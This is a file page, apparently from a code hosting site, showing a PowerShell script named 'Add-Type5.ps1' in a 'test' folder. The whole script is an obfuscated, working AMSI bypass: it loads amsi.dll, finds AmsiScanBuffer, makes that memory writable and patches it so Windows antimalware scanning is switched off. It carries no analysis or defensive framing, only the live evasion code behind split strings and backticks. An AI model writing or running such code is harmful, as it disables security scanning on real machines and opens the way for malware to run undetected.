gggg / test /Add-Type5.ps1
enotkrutoy's picture
Update test/Add-Type5.ps1
866d0d1 verified
raw
history blame
1.36 kB
.('sV') ("{0}{1}" -f 'K8','L') ( [TyPE]("{1}{0}"-f'In32','W')); .("{0}{2}{3}{1}" -f 'Set-va','e','Riab','l') ('A'+'Fz8') ([tYpe]("{4}{5}{3}{2}{6}{0}{1}"-f 'mARsh','al','M','nti','SYstE','m.Ru','E.iNtErOPSERVIces.') );${wI`N32} = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
&("{1}{2}{0}"-f 'pe','A','dd-Ty') ${WI`N32}
${LO`Ad`L`ibRArY} = ( &("{1}{0}"-f'iabLE','var') ('k'+'8l') -vALu )::("{2}{1}{0}{3}"-f'ibrar','dL','Loa','y').Invoke("am" + ("{1}{0}"-f 'i.dll','s'))
${A`Ddr`eSs} = ( .('Ls') ("{1}{2}{3}{0}"-f '8L','VarI','ABL','e:K') )."vA`LUe"::("{2}{3}{1}{0}"-f's','es','GetProcAdd','r').Invoke(${lOadlIB`RA`Ry}, ("{1}{0}" -f'si','Am') + ("{1}{0}"-f'can','S') + ("{2}{0}{1}" -f 'fe','r','Buf'))
${p} = 0
${K`8L}::"virTuAL`PRot`ECt"(${a`d`DrESS}, [uint32]5, 0x40, [ref]${p})
${p`At`Ch} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
( .("{1}{0}"-f'ABLE','Vari') ('a'+'FZ8') -valUeonly)::("{0}{1}"-f 'Cop','y').Invoke(${pAt`cH}, 0, ${adD`ReSs}, 6)